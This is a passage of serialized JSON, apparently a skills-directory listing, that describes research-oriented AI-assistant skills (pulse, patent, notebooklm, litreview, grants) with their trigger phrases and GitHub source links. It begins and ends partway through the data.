skill.","MIT","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fresearch\u002Fsyllabus\u002Fskills\u002Fsyllabus\u002FSKILL.md",[],[],{"skillNo":91,"name":92,"nameZh":6,"description":93,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":86,"licenseFileUrl":6,"sourceHtmlUrl":94,"categories":95,"keywords":96,"publishedAt":19},"01M7BES1YA6R97W7QPMFFM1PED","pulse","Multi-source recency research skill that takes the pulse of any topic across Reddit, Hacker News, the open web, and optionally X\u002FTwitter within a configurable recent window (default 30 days). Forcing intake clarifies topic specificity, angle (trend\u002Fsentiment\u002Fproblems\u002Fopportunities\u002Fcomparison), time window, and platform scope before searching. Returns a synthesized briefing with citations, engagement metrics, and cross-platform pattern analysis. Use when the user requests multi-source recency intelligence on a topic (e.g., 'pulse on [topic]', 'what's happening with [topic]', 'what are people saying about [topic]', 'current conversation about [topic]', 'take the pulse of [topic]', 'trending: [topic]', 'find me info on [topic]'), and for competitor research, trend discovery, tool comparisons, and audience sentiment analysis.","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fresearch\u002Fpulse\u002Fskills\u002Fpulse\u002FSKILL.md",[],[],{"skillNo":98,"name":99,"nameZh":6,"description":100,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":86,"licenseFileUrl":6,"sourceHtmlUrl":101,"categories":102,"keywords":103,"publishedAt":19},"01M7BERNHYGY035AR00VRT03KE","patent","Patent prior-art and landscape intelligence skill — not generic patent help. Commits to one of five sub-use-cases via forcing intake (novelty search \u002F freedom-to-operate \u002F competitive landscape \u002F acquisition diligence \u002F litigation prior-art) before any search runs. Searches Google Patents, Espacenet, USPTO, and optionally Lens.org for citation-graph signals. Output is an editable Word document (.docx) with verdict, ranked closest art (claim-text extracted), CPC-class-aware landscape, family-resolved hits, geographic coverage, FTO flags where applicable, strategy recommendations, and full audit log. Use when the user asks for patent searching or analysis (e.g., 'prior art search for [invention]', 'freedom to operate analysis for [product]'). Produces search signal, not legal advice — always recommends consulting a patent attorney before filing or licensing decisions. Trademark, copyright, and trade-secret questions are out of scope.","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fresearch\u002Fpatent\u002Fskills\u002Fpatent\u002FSKILL.md",[],[],{"skillNo":105,"name":106,"nameZh":6,"description":107,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":86,"licenseFileUrl":6,"sourceHtmlUrl":108,"categories":109,"keywords":110,"publishedAt":19},"01M7BERCK1EAKTWW7R436WAR0J","notebooklm","Browser automation skill for controlling Google's NotebookLM. Use when the user wants anything done in NotebookLM (e.g., 'open NotebookLM', 'check my [name] notebook', 'ask my notebook about X', 'add [source] to NotebookLM', 'generate a Video Overview from my notebook', 'use NotebookLM Studio'). Handles reading and querying notebooks, adding sources (URLs, text, files, YouTube links, synthesized content), generating Studio outputs (Audio\u002FVideo Overviews, Mind Maps, Reports incl. Briefing Doc\u002FStudy Guide\u002FFAQ, Flashcards, Quiz, slide decks, infographics — discover the exact set from the live Studio panel; the UI evolves fast), and creating new notebooks. Requires browser automation environment — fails gracefully when unavailable.","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fresearch\u002Fnotebooklm\u002Fskills\u002Fnotebooklm\u002FSKILL.md",[],[],{"skillNo":112,"name":113,"nameZh":6,"description":114,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":86,"licenseFileUrl":6,"sourceHtmlUrl":115,"categories":116,"keywords":117,"publishedAt":19},"01M7BEQZAZAQRTXFJRY7RHV3TY","litreview","Academic literature orientation skill that searches papers via free keyless APIs (PubMed E-utilities + OpenAlex) by default — with the Consensus MCP as an optional enhancement lane when connected — builds a strategic search plan using PICO (default) or SPIDER \u002F Decomposition \u002F hybrid as fallbacks, and synthesizes findings into a formatted Word (.docx) research guide. Grill-me intake (research question specificity + framework hint + tentative depth) before the recon search; a second forcing checkpoint after Phase 2 confirms framework + sub-areas + depth before searches consume budget. Configurable depth (5\u002F10\u002F20 queries) controls coverage vs. speed. Output is a 'launching pad' — an orientation guide that lets a researcher dive in confidently, not a finished review. Use when the user starts literature-oriented research (e.g., 'litreview on [topic]', 'literature review on [topic]', 'I'm starting a literature review on X', 'I'm writing a paper on X', 'help me research X', 'I'm doing research on X', 'can you help me research X'). Do NOT use for single one-off paper searches wanting a quick list — that's a plain PubMed\u002FOpenAlex (or Consensus) query.","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fresearch\u002Flitreview\u002Fskills\u002Flitreview\u002FSKILL.md",[],[],{"skillNo":119,"name":120,"nameZh":6,"description":121,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":86,"licenseFileUrl":6,"sourceHtmlUrl":122,"categories":123,"keywords":124,"publishedAt":19},"01M7BEQKJ45K31QK5VRAQSVJCJ","grants","NIH grant research skill for clinical researchers. Grill-me intake (research idea + career stage + preliminary data + environment + submission posture + known institute targets) locks down the funding strategy before any search runs. Runs a 5-facet Consensus positioning analysis (with draft Significance\u002FInnovation language), maps the research to the right NIH institutes and study sections via RePORTER, finds NOSIs and funded overlap, and produces an editable Word document (.docx) with budget\u002Fscope-aware mechanism recommendations, submission timelines, and a mandatory program officer recommendation. Use when the user asks about research funding or makes any grant-related request (e.g., 'grants for [topic]', 'find grants for my research idea', 'what grants match my research', 'help me find NIH funding', 'grant opportunities for my research'). NIH-only scope — non-NIH funders (PCORI, DOD CDMRP, VA, foundations) are out of scope and flagged at intake.","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fresearch\u002Fgrants\u002Fskills\u002Fgrants\u002FSKILL.md",[],[]]